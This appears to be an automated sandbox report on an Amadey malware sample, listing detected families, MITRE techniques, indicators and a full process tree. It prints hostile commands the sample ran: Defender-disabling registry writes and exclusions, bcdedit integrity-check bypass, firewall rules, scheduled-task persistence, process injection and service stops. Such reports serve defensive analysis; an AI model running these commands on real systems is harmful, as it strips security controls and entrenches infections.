amadey | 3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BC80.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	BC80.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BC80.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BC80.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BC80.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BC80.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/2096-155-0x0000000000600000-0x000000000065A000-memory.dmp	family_redline
behavioral1/files/0x0007000000017084-174.dat	family_redline
behavioral1/memory/2876-181-0x00000000008B0000-0x00000000008CE000-memory.dmp	family_redline
behavioral1/files/0x0007000000017084-180.dat	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0007000000017084-174.dat	family_sectoprat
behavioral1/memory/2876-181-0x00000000008B0000-0x00000000008CE000-memory.dmp	family_sectoprat
behavioral1/files/0x0007000000017084-180.dat	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
2876	bcdedit.exe
1336	bcdedit.exe
1676	bcdedit.exe
1776	bcdedit.exe
2228	bcdedit.exe
2304	bcdedit.exe
1604	bcdedit.exe
3052	bcdedit.exe
2036	bcdedit.exe
2192	bcdedit.exe
1616	bcdedit.exe
2204	bcdedit.exe
1516	bcdedit.exe
2676	bcdedit.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
2312	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 18 IoCs

pid	Process
2476	B04C.exe
2480	B1E2.exe
2444	VH1ag4IK.exe
2952	B2AE.bat
2968	WY0Fl3xP.exe
676	FC8mB1bm.exe
2768	dB9lZ4Iu.exe
560	1jV90Hm9.exe
948	B696.exe
1716	BC80.exe
1456	BE55.exe
2320	explothe.exe
1320	FD0A.exe
2096	C67.exe
2976	F54.exe
2024	bsdtwti
2876	bcdedit.exe
2408	schtasks.exe

Loads dropped DLL 26 IoCs

pid	Process
2476	B04C.exe
2476	B04C.exe
2444	VH1ag4IK.exe
2444	VH1ag4IK.exe
2968	WY0Fl3xP.exe
2968	WY0Fl3xP.exe
676	FC8mB1bm.exe
676	FC8mB1bm.exe
2768	dB9lZ4Iu.exe
2800	WerFault.exe
2800	WerFault.exe
2800	WerFault.exe
2768	dB9lZ4Iu.exe
560	1jV90Hm9.exe
2800	WerFault.exe
936	WerFault.exe
936	WerFault.exe
936	WerFault.exe
2492	WerFault.exe
2492	WerFault.exe
2492	WerFault.exe
936	WerFault.exe
2492	WerFault.exe
1456	BE55.exe
1468	WerFault.exe
1468	WerFault.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	BC80.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	BC80.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	VH1ag4IK.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	WY0Fl3xP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	FC8mB1bm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	dB9lZ4Iu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	B04C.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1956 set thread context of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2916	sc.exe
2676	sc.exe
2388	sc.exe
1960	sc.exe
1528	sc.exe
1620	sc.exe
2512	sc.exe
2668	sc.exe
2848	sc.exe
3012	sc.exe
1868	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2688	1956	WerFault.exe	27
2800	2480	WerFault.exe	32
936	560	WerFault.exe	41
2492	948	WerFault.exe	42
1468	2096	WerFault.exe	63
2956	2976	WerFault.exe	67

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1788	schtasks.exe
912	schtasks.exe
1060	schtasks.exe
2564	schtasks.exe
2408	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2648	AppLaunch.exe
2648	AppLaunch.exe
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
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1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found
1204	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2648	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1204	Process not Found
Token: SeShutdownPrivilege	1204	Process not Found
Token: SeShutdownPrivilege	1204	Process not Found
Token: SeDebugPrivilege	1716	BC80.exe
Token: SeShutdownPrivilege	1204	Process not Found
Token: SeShutdownPrivilege	1204	Process not Found
Token: SeShutdownPrivilege	1204	Process not Found
Token: SeShutdownPrivilege	1204	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2648	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	29
PID 1956 wrote to memory of 2688	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	30
PID 1956 wrote to memory of 2688	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	30
PID 1956 wrote to memory of 2688	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	30
PID 1956 wrote to memory of 2688	1956	3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe	30
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2476	1204	Process not Found	31
PID 1204 wrote to memory of 2480	1204	Process not Found	32
PID 1204 wrote to memory of 2480	1204	Process not Found	32
PID 1204 wrote to memory of 2480	1204	Process not Found	32
PID 1204 wrote to memory of 2480	1204	Process not Found	32
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 2476 wrote to memory of 2444	2476	B04C.exe	33
PID 1204 wrote to memory of 2952	1204	Process not Found	34
PID 1204 wrote to memory of 2952	1204	Process not Found	34
PID 1204 wrote to memory of 2952	1204	Process not Found	34
PID 1204 wrote to memory of 2952	1204	Process not Found	34
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2444 wrote to memory of 2968	2444	VH1ag4IK.exe	36
PID 2952 wrote to memory of 1596	2952	B2AE.bat	35
PID 2952 wrote to memory of 1596	2952	B2AE.bat	35
PID 2952 wrote to memory of 1596	2952	B2AE.bat	35
PID 2952 wrote to memory of 1596	2952	B2AE.bat	35
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 2968 wrote to memory of 676	2968	WY0Fl3xP.exe	37
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 676 wrote to memory of 2768	676	FC8mB1bm.exe	39
PID 2480 wrote to memory of 2800	2480	B1E2.exe	40
PID 2480 wrote to memory of 2800	2480	B1E2.exe	40
PID 2480 wrote to memory of 2800	2480	B1E2.exe	40

C:\Users\Admin\AppData\Local\Temp\3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe
"C:\Users\Admin\AppData\Local\Temp\3d8ad07ac455c2ae63a32635b65323b2e94660016d77c952ee80cba32ec29e47.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2648
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1956 -s 76
  2⤵
  - Program crash
  PID:2688

C:\Users\Admin\AppData\Local\Temp\B04C.exe
C:\Users\Admin\AppData\Local\Temp\B04C.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\VH1ag4IK.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\VH1ag4IK.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WY0Fl3xP.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WY0Fl3xP.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\FC8mB1bm.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\FC8mB1bm.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:676
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\dB9lZ4Iu.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\dB9lZ4Iu.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2768
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1jV90Hm9.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1jV90Hm9.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:560
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 560 -s 280
        7⤵
        Loads dropped DLL
        Program crash
        
        PID:936

C:\Users\Admin\AppData\Local\Temp\B1E2.exe
C:\Users\Admin\AppData\Local\Temp\B1E2.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2800

C:\Users\Admin\AppData\Local\Temp\B2AE.bat
"C:\Users\Admin\AppData\Local\Temp\B2AE.bat"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B329.tmp\B32A.tmp\B33B.bat C:\Users\Admin\AppData\Local\Temp\B2AE.bat"
  2⤵
  PID:1596

C:\Users\Admin\AppData\Local\Temp\B696.exe
C:\Users\Admin\AppData\Local\Temp\B696.exe
1⤵
- Executes dropped EXE
PID:948
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2492

C:\Users\Admin\AppData\Local\Temp\BC80.exe
C:\Users\Admin\AppData\Local\Temp\BC80.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Users\Admin\AppData\Local\Temp\BE55.exe
C:\Users\Admin\AppData\Local\Temp\BE55.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1456
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
  2⤵
  - Executes dropped EXE
  PID:2320
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1788
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
    3⤵
    PID:1656
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:N"
      4⤵
      PID:2620
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2248
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:R" /E
      4⤵
      PID:2304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2028
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:N"
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:R" /E
      4⤵
      PID:3044
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:1780

C:\Users\Admin\AppData\Local\Temp\FD0A.exe
C:\Users\Admin\AppData\Local\Temp\FD0A.exe
1⤵
- Executes dropped EXE
PID:1320
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  PID:1604
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:780
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  PID:2500
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:1580
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:2312
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:2880
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        Creates scheduled task(s)
        
        PID:912
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        5⤵
        
        PID:1916
    - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        5⤵
        
        PID:1232
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        6⤵
        Modifies boot configuration data using bcdedit
        Executes dropped EXE
        
        PID:2876
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1336
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1676
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1776
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2228
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2304
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1604
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:3052
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2192
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1616
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2204
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1516
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2676
    - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        5⤵
        
        PID:2440
    - - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2036
    - - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        5⤵
        
        PID:3012
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        Creates scheduled task(s)
        
        PID:2564
    - - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        5⤵
        
        PID:1012
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        
        PID:2720
- C:\Users\Admin\AppData\Local\Temp\source1.exe
  "C:\Users\Admin\AppData\Local\Temp\source1.exe"
  2⤵
  PID:2564
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    PID:472
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:2452

C:\Users\Admin\AppData\Local\Temp\C67.exe
C:\Users\Admin\AppData\Local\Temp\C67.exe
1⤵
- Executes dropped EXE
PID:2096
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 528
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:1468

C:\Windows\system32\taskeng.exe
taskeng.exe {2203B19A-B43F-443E-864F-D7E36EBCA7EC} S-1-5-21-86725733-3001458681-3405935542-1000:ZWKQHIWB\Admin:Interactive:[1]
1⤵
PID:756
- C:\Users\Admin\AppData\Roaming\bsdtwti
  C:\Users\Admin\AppData\Roaming\bsdtwti
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:2408
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:600

C:\Users\Admin\AppData\Local\Temp\F54.exe
C:\Users\Admin\AppData\Local\Temp\F54.exe
1⤵
- Executes dropped EXE
PID:2976
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2976 -s 508
  2⤵
  - Program crash
  PID:2956

C:\Users\Admin\AppData\Local\Temp\1407.exe
C:\Users\Admin\AppData\Local\Temp\1407.exe
1⤵
PID:2876

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231011045010.log C:\Windows\Logs\CBS\CbsPersist_20231011045010.cab
1⤵
PID:1612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2996

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1316
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2388
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:1960
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1528
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3012

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
1⤵
PID:2588

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
1⤵
PID:1476

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
1⤵
PID:2132

